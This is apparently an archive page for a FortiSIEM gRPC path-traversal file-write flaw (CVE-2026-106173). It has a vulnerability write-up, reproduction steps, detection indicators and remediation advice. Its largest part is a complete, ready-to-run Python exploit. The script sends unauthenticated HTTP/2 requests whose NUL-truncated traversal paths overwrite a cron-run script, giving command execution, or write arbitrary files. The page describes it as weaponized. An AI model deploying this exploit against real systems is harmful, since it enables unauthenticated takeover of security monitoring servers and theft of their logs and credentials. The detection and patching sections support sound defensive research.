PoC Archive PoC Archive
CVE-2026-106173 category: network CVSS 9.8 (CRITICAL)
Patched

FortiSIEM gRPC Path Traversal File Write RCE (CVE-2026-106173)

Published: 2026-11-25 • Researcher: Horizon3.ai (repository owner); Zach Hanley / Horizon3 Attack Team (PoC and deep-dive write-up); discovered and reported by Gwendal Guégniaud of the Fortinet Product Security team per FG-IR-26-180

Target software Fortinet FortiSIEM — phQueryMaster gRPC service (phoenix.phoenixSvc/SendQueryResult) on TCP 27918
Affected versions FortiSIEM 7.5.0; FortiSIEM 7.4, 7.3, 7.2, 7.1 and 7.0 all versions (NVD description and FG-IR-26-180). Fixed in 7.5.1; 7.6 and 6.x are not affected. FortiSIEM Cloud is not affected.
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-106173 (Fortinet FG-IR-26-180)
Category
network
Affected product
Fortinet FortiSIEM — phQueryMaster gRPC service (phoenix.phoenixSvc/SendQueryResult) on TCP 27918
Affected versions
FortiSIEM 7.5.0; FortiSIEM 7.4, 7.3, 7.2, 7.1 and 7.0 all versions (NVD description and FG-IR-26-180). Fixed in 7.5.1; 7.6 and 6.x are not affected. FortiSIEM Cloud is not affected.
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-20
Author / ResearcherHorizon3.ai (repository owner); Zach Hanley / Horizon3 Attack Team (PoC and deep-dive write-up); discovered and reported by Gwendal Guégniaud of the Fortinet Product Security team per FG-IR-26-180
CVE / AdvisoryCVE-2026-106173 (Fortinet FG-IR-26-180)
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H per NVD/Fortinet CVSS; the Fortinet advisory quotes a 9.4 temporal score with E:H/RL:O/RC:C)
StatusWeaponized
TagsRCE, path-traversal, CWE-22, arbitrary-file-write, gRPC, HTTP/2, HPACK, NUL-byte, FortiSIEM, unauthenticated, cron
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiSIEM — phQueryMaster gRPC service (phoenix.phoenixSvc/SendQueryResult) on TCP 27918
Versions AffectedFortiSIEM 7.5.0; FortiSIEM 7.4, 7.3, 7.2, 7.1 and 7.0 all versions (NVD description and FG-IR-26-180). Fixed in 7.5.1; 7.6 and 6.x are not affected. FortiSIEM Cloud is not affected.
Language / PlatformFortiSIEM appliance (Linux); gRPC over HTTP/2 with TLS and ALPN h2; client PoC is Python 3 stdlib only
Authentication RequiredNo — the gRPC server is configured without client-certificate authentication and the RPC path is reachable unauthenticated
Network Access RequiredYes — TCP 27918 on the FortiSIEM supervisor (the service binds [::]:27918)

Summary

CVE-2026-106173 is an unauthenticated path traversal and arbitrary file write in the FortiSIEM phQueryMaster gRPC service on TCP 27918. The SendQueryResult handler builds the on-disk result path by concatenating attacker-supplied metadata such as query-id, src-ip, period-start and period-end with only light formatting and no path validation, so traversal sequences escape the query result directory. Because header values are copied using the client-declared length, an attacker can embed a NUL byte and make the operating system truncate the path at that point, gaining exact control of the written filename. Horizon3.ai weaponized the flaw by overwriting /opt/charting/redishb.sh, a Redis health-check script that cron re-executes every 60 seconds, yielding blind command execution as the service account on FortiSIEM 7.5.

Vulnerability Details

Root Cause

In grpcNotificationService::SendQueryResult (grpcNotificationService.cpp, libphGrpcServices.so), the server derives the destination directory as /query/result/ concatenated with the attacker-controlled query-id, creates it with phMiscUtils::mkdir() if missing, and then opens /query/result/<query-id>/result-<srcIp>-<periodStart>-<periodEnd>-<server-id>.dat with std::ofstream and writes the streamed protobuf field file_content into it (dots in src-ip are replaced with underscores, and the trailing <server-id> is a server-side counter). The query-id is never canonicalized, so ../ sequences traverse to any directory the service account can write. Separately, the handler copies each gRPC metadata value using the length declared by the client rather than treating it as a C string, which lets an attacker place a NUL byte inside the query-id; when the concatenated path is later handed to the filesystem, the kernel stops at the NUL and silently discards the server-appended result-...-.dat suffix. The write therefore lands on an exact, attacker-chosen path. This is CWE-22 (improper limitation of a pathname to a restricted directory). The gRPC server uses grpc::SslServerCredentials without requesting a client certificate, so the RPC is reachable by any remote client that can open the port.

Attack Vector

An unauthenticated attacker opens a TLS connection to TCP 27918, negotiates HTTP/2 via ALPN, and sends a gRPC request to /phoenix.phoenixSvc/SendQueryResult with metadata query-id, src-ip, period-start and period-end, plus a protobuf QueryResultReq whose field 1 (file_content) carries the bytes to write. The query-id is crafted as repeated ../ segments followed by the target path and a NUL byte, for example ../../../../../opt/charting/redishb.sh\x00ignored. Standard gRPC libraries and HTTP clients reject NUL bytes in header values, so the PoC hand-assembles the HTTP/2 client preface, SETTINGS, HEADERS (raw non-Huffman HPACK literals) and DATA frames with socket and ssl. No credentials, session, or user interaction are needed.

Impact

Arbitrary file write as the FortiSIEM service account, which on the stock 7.5 appliance can overwrite files writable by the admin context. Horizon3 turned this into code execution by replacing /opt/charting/redishb.sh, which a cron job runs every 60 seconds to health-check Redis: the next invocation executes the attacker’s shell commands as admin. The write is silent and the RPC returns no output, so command execution is blind unless the payload exfiltrates over a separate channel. Full compromise of the FortiSIEM supervisor exposes collected log data, credentials and the management plane of the SIEM deployment.

Environment / Lab Setup

Output
OS:          FortiSIEM 7.5.0 supervisor appliance (Linux; virtual appliance or lab hardware)
Target:      FortiSIEM 7.5.0 with TCP 27918 reachable (phQueryMaster bound on all interfaces)
Attacker:    Python 3.8+ host (Kali/Ubuntu) with network access to TCP 27918
Tools:       python3 (stdlib: argparse, socket, ssl, struct, pathlib), openssl s_client
             or ss for reachability checks; no third-party packages required

Setup Steps

Shell script
1
2
3
4
5
6
7
python3 --version

openssl s_client -connect 10.0.18.X:27918 -alpn h2 </dev/null 2>&1 | head -20

python3 CVE-2026-106173.py -t 10.0.18.X -c 'id' --dry-run

python3 CVE-2026-106173.py -t 10.0.18.X -c 'id > /tmp/cve-2026-106173-proof'

Proof of Concept

Step-by-Step Reproduction

  1. Verify the target and port — the supervisor must expose TCP 27918; the service speaks gRPC over TLS with ALPN h2 and does not request a client certificate.

    Shell script
    1
    
    openssl s_client -connect 10.0.18.X:27918 -alpn h2 </dev/null 2>&1 | head -20
  2. Inspect the crafted request offline — --dry-run prints the HPACK metadata, the embedded NUL offset, the FortiSIEM path expression and the normalized write target without touching the network.

    Shell script
    1
    
    python3 CVE-2026-106173.py -t 10.0.18.X -c 'id' --dry-run
  3. Overwrite the recurring script — the PoC writes #!/bin/bash plus the command to /opt/charting/redishb.sh through the traversal and NUL truncation. The target file must already exist (a stock 7.5 appliance has it); the overwrite preserves owner and permissions.

    Shell script
    1
    
    python3 CVE-2026-106173.py -t 10.0.18.X -c 'id > /tmp/cve-2026-106173-proof'
  4. Wait for the cron trigger — /opt/charting/redishb.sh is executed about every 60 seconds, so the payload runs without a further request. Execution is blind; use an out-of-band channel (reverse connection, DNS/HTTP callback, or a file the tester can retrieve separately) to capture output.

  5. Arbitrary file variant — for a chosen payload file, -f payload.bin --overwrite /path overwrites an existing file in one request, while --create /path uses a two-request staging sequence (result-stage-<nonce>-dir directory, then a period-end value of dir/../<name>\x00ignored) to create a new exact filename.

Exploit Code

See CVE-2026-106173.py in this folder (upstream name preserved). The upstream README is archived as upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
RPC_PATH = b'/phoenix.phoenixSvc/SendQueryResult'      # phoenixSvc.SendQueryResult
RCE_PATH = '/opt/charting/redishb.sh'                   # cron-executed every 60s

md = [
    (b'header-ver', b'v1'),
    (b'src-ip', b'127.0.0.1'),
    (b'query-id', b'../' * 12 + b'opt/charting/redishb.sh\x00ignored'),
    (b'period-start', b'0'),
    (b'period-end', b'0'),
]
content = b'#!/bin/bash\nid\n'                          # file_content, protobuf field 1

request = (
    b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
    + h2_frame(4, 0, 0)                                 # SETTINGS
    + h2_frame(1, 0x04, 1, build_headers(target, port, md, tls=True))   # HEADERS
    + h2_frame(0, 0x01, 1, grpc_message(content))       # DATA
)

Expected Output

Dry run (lengths vary with target hostname and HPACK encoding):

Output
[*] Sending:
#!/bin/bash
id

[*] Overwriting existing file: /opt/charting/redishb.sh
[*] RPC: https://10.0.18.X:27918/phoenix.phoenixSvc/SendQueryResult
[*] Transport: HTTP/2 over TLS (ALPN h2)
[*] HTTP/2 client preface: 24 bytes
[*] HTTP/2 frames:
    SETTINGS stream=0 flags=0x00 payload=0 bytes
    HEADERS  stream=1 flags=0x04 END_HEADERS payload=<bytes> bytes
    DATA     stream=1 flags=0x01 END_STREAM payload=<bytes> bytes
[*] HPACK: literal headers without indexing, non-Huffman values
[*] Metadata:
    query-id: b'../../../../../../../../../../../../opt/charting/redishb.sh\x00ignored'
    -> embedded NUL at offset 48 (0x00)
    -> C-string prefix: b'../../../../../../../../../../../../opt/charting/redishb.sh'
[*] FortiSIEM path expression: b'/query/result/<traversal>/redishb.sh\x00ignored/result-127.0.0.1-0-0-<server-call-id>.dat'
[*] Path NUL offset: <n>; filesystem C string: b'/query/result/<traversal>/redishb.sh'
[*] Normalized write target: /opt/charting/redishb.sh
[+] Sent!

[+] Payload written! Wait approximately one minute for phxctl.service to invoke it (as admin on FortiSIEM 7.5).

A live run prints [+] Payload written! but not command output; the injected command executes one cron cycle later. Confirm it through an out-of-band interaction, not from the gRPC response.

Detection & Indicators of Compromise

  • Horizon3 states that they found no FortiSIEM application logs that explicitly reveal exploitation; detection relies on file-integrity and network telemetry.
  • File modification timestamps on /opt/charting/redishb.sh and /opt/phoenix/bin/phLicenseTool that do not match surrounding package/install timestamps are the primary host indicator; Horizon3 lists both files as of particular interest.
  • Content anomaly: the stock redishb.sh is a Redis health-check script; a file beginning with #!/bin/bash plus attacker commands is compromised.
  • Process evidence: sh /opt/charting/redishb.sh (or cron children of it) spawning unexpected commands, reverse shells or outbound connections at roughly 60-second intervals.
  • Network evidence: inbound TCP 27918 sessions from hosts that are not FortiSIEM administrators, HTTP/2 ALPN h2 handshakes to the port, and long-lived connections to it from scanning infrastructure.
  • Filesystem evidence under /query/result/: unexpected directories or files named result-<ip>-<start>-<end>-<id>.dat, and staging directories named result-stage-<8 hex>-dir left by the create variant.
  • Unexpected or recently created scripts in /opt/charting/, /opt/phoenix/bin/ or other cron-executed paths on the supervisor.

Example host audit:

Shell script
1
2
3
4
find /opt/charting/redishb.sh /opt/phoenix/bin/phLicenseTool -maxdepth 0 \
  -printf '%TY-%Tm-%Td %TH:%TM %s %p\n'
head -5 /opt/charting/redishb.sh
ss -tnp '( sport = :27918 or dport = :27918 )'

SIEM / IDS rule (example, metadata only — payload is inside TLS):

Output
1
2
3
alert tcp any any -> any 27918 (msg:"FortiSIEM phQueryMaster gRPC connection"; \
  flow:to_server,established; threshold:type limit,track by_src,count 1,seconds 60; \
  sid:9001061;)

Remediation

ActionDetail
PatchUpgrade FortiSIEM 7.5.0 to 7.5.1 or later. FortiSIEM 7.4, 7.3, 7.2, 7.1 and 7.0 are addressed only by migrating to a fixed release (7.5.1+); 7.6 and 6.x are not affected.
WorkaroundRestrict access to TCP 27918 so only trusted administrative sources can reach the supervisor; the Fortinet advisory states this prevents the issue. Do not expose the port to the internet or untrusted VLANs.
Config HardeningSegment the FortiSIEM management plane, front it with an allow-listed jump host or firewall policy, enable file-integrity monitoring on cron-executed scripts such as /opt/charting/redishb.sh, audit cron and service-script content regularly, and alert on unexpected 27918 connections.

References

Notes

Auto-ingested from https://github.com/horizon3ai/CVE-2026-106173 on 2026-11-25.

Review verdict: this is a real exploit PoC, not a detector/scanner. The single Python script implements the full unauthenticated chain (HTTP/2 + raw HPACK framing, traversal and NUL truncation, arbitrary file write, and the overwrite of the cron-executed /opt/charting/redishb.sh for command execution). It was reviewed statically and was not executed during ingestion.

License status: the upstream repository has no LICENSE file, so the code is archived with attribution under default copyright for authorized security research only; no license is granted by upstream.

Limitations and accuracy notes: command execution is blind and asynchronous — the RPC returns no command output, and the payload fires on the next phxctl.service/cron cycle (roughly 60 seconds). The -c/--command mode only overwrites /opt/charting/redishb.sh, so that file must exist and be writable by the service account (stock 7.5). --overwrite likewise truncates an existing file; --create uses a two-request staging sequence and leaves a staging directory behind. TLS certificate verification is intentionally disabled in the PoC (CERT_NONE), matching a typical self-signed appliance, so it is not hardened tooling. Upstream was verified against FortiSIEM 7.5.0 per the Horizon3 write-up; behaviour on 7.4 and earlier is affected per the advisory but was not shown in the PoC. Run only against systems you own or have written authorization to test.

CVE-2026-106173.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
#!/usr/bin/python3
# Archived for authorized security research only.
# Source: https://github.com/horizon3ai/CVE-2026-106173 (see README for attribution/license)

import argparse
import pathlib
import secrets
import socket
import ssl
import struct
import sys
import time


RPC_PATH = b'/phoenix.phoenixSvc/SendQueryResult'
DEFAULT_PORT = 27918
RCE_PATH = pathlib.PurePosixPath('/opt/charting/redishb.sh')
PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'


def hpack_int(value: int, prefix: int, first: int = 0) -> bytes:
    limit = (1 << prefix) - 1
    if value < limit:
        return bytes([first | value])

    encoded = bytearray([first | limit])
    value -= limit
    while value >= 128:
        encoded.append((value & 0x7f) | 0x80)
        value >>= 7
    encoded.append(value)
    return bytes(encoded)


def hpack_string(value: bytes) -> bytes:
    return hpack_int(len(value), 7) + value


def hpack_header(name: bytes, value: bytes, index: int = 0) -> bytes:
    encoded = bytearray(hpack_int(index, 4))
    if index == 0:
        encoded += hpack_string(name)
    encoded += hpack_string(value)
    return bytes(encoded)


def h2_frame(frame_type: int, flags: int, stream_id: int, payload: bytes = b'') -> bytes:
    return (
        len(payload).to_bytes(3, 'big')
        + bytes([frame_type, flags])
        + struct.pack('!I', stream_id & 0x7fffffff)
        + payload
    )


def protobuf_varint(value: int) -> bytes:
    encoded = bytearray()
    while value > 0x7f:
        encoded.append((value & 0x7f) | 0x80)
        value >>= 7
    encoded.append(value)
    return bytes(encoded)


def grpc_message(content: bytes) -> bytes:
    message = b'\x0a' + protobuf_varint(len(content)) + content
    return b'\x00' + len(message).to_bytes(4, 'big') + message


def fortisiem_path(metadata: list[tuple[bytes, bytes]]) -> bytes:
    values = dict(metadata)
    return (
        b'/query/result/' + values[b'query-id']
        + b'/result-' + values[b'src-ip']
        + b'-' + values[b'period-start']
        + b'-' + values[b'period-end']
        + b'-<server-call-id>.dat'
    )


def build_headers(target: str, port: int, metadata: list[tuple[bytes, bytes]], tls: bool) -> bytes:
    authority = f'{target}:{port}'.encode()
    headers = bytearray()
    headers += b'\x83'                         # :method POST
    headers += b'\x87' if tls else b'\x86'   # :scheme https/http
    headers += hpack_header(b':path', RPC_PATH, 4)
    headers += hpack_header(b':authority', authority, 1)
    headers += hpack_header(b'content-type', b'application/grpc', 31)
    headers += hpack_header(b'te', b'trailers')

    for name, value in metadata:
        headers += hpack_header(name, value)

    return bytes(headers)


def build_request(target: str, port: int, metadata: list[tuple[bytes, bytes]], content: bytes,
                  tls: bool) -> bytes:
    headers = build_headers(target, port, metadata, tls)
    return (
        PREFACE
        + h2_frame(4, 0, 0)                         # SETTINGS
        + h2_frame(1, 0x04, 1, headers)            # HEADERS | END_HEADERS
        + h2_frame(0, 0x01, 1, grpc_message(content))  # DATA | END_STREAM
    )


def print_request(target: str, port: int, md: list[tuple[bytes, bytes]], content: bytes,
                  plaintext: bool, request_length: int, kernel_path: pathlib.PurePosixPath | None):
    scheme = 'http' if plaintext else 'https'
    encoded_headers = build_headers(target, port, md, not plaintext)
    encoded_message = grpc_message(content)
    protobuf_length = len(encoded_message) - 5
    path_expression = fortisiem_path(md)
    path_nul = path_expression.find(b'\x00')

    print(f'[*] RPC: {scheme}://{target}:{port}{RPC_PATH.decode()}')
    print(f'[*] Transport: HTTP/2 {"prior knowledge" if plaintext else "over TLS (ALPN h2)"}')
    print('[*] HTTP/2 client preface: 24 bytes')
    print('[*] HTTP/2 frames:')
    print('    SETTINGS stream=0 flags=0x00 payload=0 bytes')
    print(f'    HEADERS  stream=1 flags=0x04 END_HEADERS payload={len(encoded_headers)} bytes')
    print(f'    DATA     stream=1 flags=0x01 END_STREAM payload={len(encoded_message)} bytes')
    print('[*] HPACK: literal headers without indexing, non-Huffman values')
    print('[*] gRPC envelope: compression=0, '
          f'message-length={protobuf_length} bytes, one request message')
    print('[*] Protobuf: QueryResultReq field 1 (file_content), wire type 2, '
          f'{len(content)} byte{plural(len(content))}')
    print('[*] Metadata:')

    for name, value in md:
        print(f'    {name.decode()}: {value!r}')
        nul_offset = value.find(b'\x00')
        if nul_offset != -1:
            prefix = value[:nul_offset]
            print(f'    -> embedded NUL at offset {nul_offset} (0x00)')
            print(f'    -> C-string prefix: {prefix!r}')

    print(f'[*] FortiSIEM path expression: {path_expression!r}')
    if path_nul != -1:
        print(f'[*] Path NUL offset: {path_nul}; filesystem C string: '
              f'{path_expression[:path_nul]!r}')
        print('[*] NUL behavior: HTTP/2, HPACK, gRPC, and std::string preserve the suffix; '
              'the filesystem call stops at 0x00')
    if kernel_path is not None:
        print(f'[*] Normalized write target: {kernel_path}')
    print(f'[*] Encoded HTTP/2 request length: {request_length} bytes')


def plural(value: int) -> str:
    return '' if value == 1 else 's'


def metadata(query_id: bytes, src_ip: bytes = b'127.0.0.1',
             period_start: bytes = b'0', period_end: bytes = b'0') -> list[tuple[bytes, bytes]]:
    return [
        (b'header-ver', b'v1'),
        (b'src-ip', src_ip),
        (b'query-id', query_id),
        (b'period-start', period_start),
        (b'period-end', period_end),
    ]


def traversal(path: pathlib.PurePosixPath) -> bytes:
    if not path.is_absolute():
        raise ValueError('The remote path must be absolute')
    if '\x00' in str(path):
        raise ValueError('The remote path cannot contain a NUL')
    return b'../' * 12 + str(path).lstrip('/').encode()


def connect(target: str, port: int, timeout: float, plaintext: bool) -> socket.socket:
    sock = socket.create_connection((target, port), timeout)
    if plaintext:
        return sock

    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    context.set_alpn_protocols(['h2'])
    wrapped = context.wrap_socket(sock, server_hostname=target)
    if wrapped.selected_alpn_protocol() != 'h2':
        wrapped.close()
        raise RuntimeError('The target did not negotiate HTTP/2')
    return wrapped


def send_file(target: str, port: int, md: list[tuple[bytes, bytes]], content: bytes,
              timeout: float, delay: float, plaintext: bool, dry_run: bool,
              kernel_path: pathlib.PurePosixPath | None = None):
    request = build_request(target, port, md, content, not plaintext)
    print_request(target, port, md, content, plaintext, len(request), kernel_path)

    if dry_run:
        return

    with connect(target, port, timeout, plaintext) as sock:
        sock.sendall(request)
        time.sleep(delay)

    print('[+] Sent!')


def overwrite_file(args, remote_path: pathlib.PurePosixPath, content: bytes):
    print(f'[*] Overwriting existing file: {remote_path}')
    query_id = traversal(remote_path) + b'\x00ignored'
    send_file(args.target, args.port, metadata(query_id), content,
              args.timeout, args.delay, args.plaintext, args.dry_run,
              kernel_path=remote_path)


def create_file(args, remote_path: pathlib.PurePosixPath, content: bytes):
    parent = remote_path.parent
    nonce = secrets.token_hex(4).encode()
    stage_name = b'result-stage-' + nonce + b'-dir'
    stage_path = parent / stage_name.decode()

    print(f'[*] Creating staging directory: {stage_path}')
    send_file(args.target, args.port, metadata(traversal(stage_path)), b'stage\n',
              args.timeout, args.delay, args.plaintext, args.dry_run)

    print(f'[*] Creating file: {remote_path}')
    md = metadata(
        traversal(parent),
        src_ip=b'stage',
        period_start=nonce,
        period_end=b'dir/../' + remote_path.name.encode() + b'\x00ignored',
    )
    send_file(args.target, args.port, md, content,
              args.timeout, args.delay, args.plaintext, args.dry_run,
              kernel_path=remote_path)


def parse_args():
    parser = argparse.ArgumentParser(
        description='CVE-2026-106173 FortiSIEM unauthenticated arbitrary file write',
        epilog=(
            "Examples:\n"
            "  %(prog)s -t 10.0.40.44 -c 'id > /tmp/fortisiem-rce'\n"
            "  %(prog)s -t 10.0.40.44 -f payload.bin --overwrite /tmp/existing-file\n"
            "  %(prog)s -t 10.0.40.44 -f payload.bin --create /tmp/new-file"
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-p', '--port', help='The FortiSIEM gRPC port', type=int,
                        default=DEFAULT_PORT)

    payload = parser.add_mutually_exclusive_group(required=True)
    payload.add_argument(
        '-c', '--command',
        help='The command to execute through the FortiSIEM service-script trigger',
    )
    payload.add_argument('-f', '--file', type=pathlib.Path, help='The local file to write')

    destination = parser.add_mutually_exclusive_group()
    destination.add_argument('--overwrite', type=pathlib.PurePosixPath,
                             help='Overwrite an existing remote file')
    destination.add_argument('--create', type=pathlib.PurePosixPath,
                             help='Create a new remote file')

    parser.add_argument('--plaintext', action='store_true', help='Use plaintext HTTP/2')
    parser.add_argument('--timeout', type=float, default=5, help='Socket timeout, default=5')
    parser.add_argument('--delay', type=float, default=1,
                        help='Seconds to wait after each request, default=1')
    parser.add_argument('--dry-run', action='store_true', help='Build but do not send requests')
    return parser.parse_args()


def main():
    args = parse_args()

    if args.timeout <= 0 or args.delay < 0:
        sys.exit('[-] --timeout must be positive and --delay cannot be negative')

    if args.command:
        if args.overwrite or args.create:
            sys.exit('[-] --command always targets /opt/charting/redishb.sh')
        content = f'#!/bin/bash\n{args.command}\n'.encode()
        print(f'[*] Sending:\n{content.decode()}')
        overwrite_file(args, RCE_PATH, content)
        if args.dry_run:
            print('[+] Dry run complete!')
        else:
            print('[+] Payload written! Wait approximately one minute for '
                  'phxctl.service to invoke it (as admin on FortiSIEM 7.5).')
        return

    if not args.overwrite and not args.create:
        sys.exit('[-] --file requires either --overwrite or --create')

    try:
        content = args.file.read_bytes()
    except OSError as error:
        sys.exit(f'[-] Could not read {args.file}: {error}')

    if args.overwrite:
        overwrite_file(args, args.overwrite, content)
    else:
        create_file(args, args.create, content)

    print('[+] Dry run complete!' if args.dry_run else '[+] Payload written!')


if __name__ == '__main__':
    try:
        main()
    except (OSError, RuntimeError, ValueError) as error:
        sys.exit(f'[-] {error}')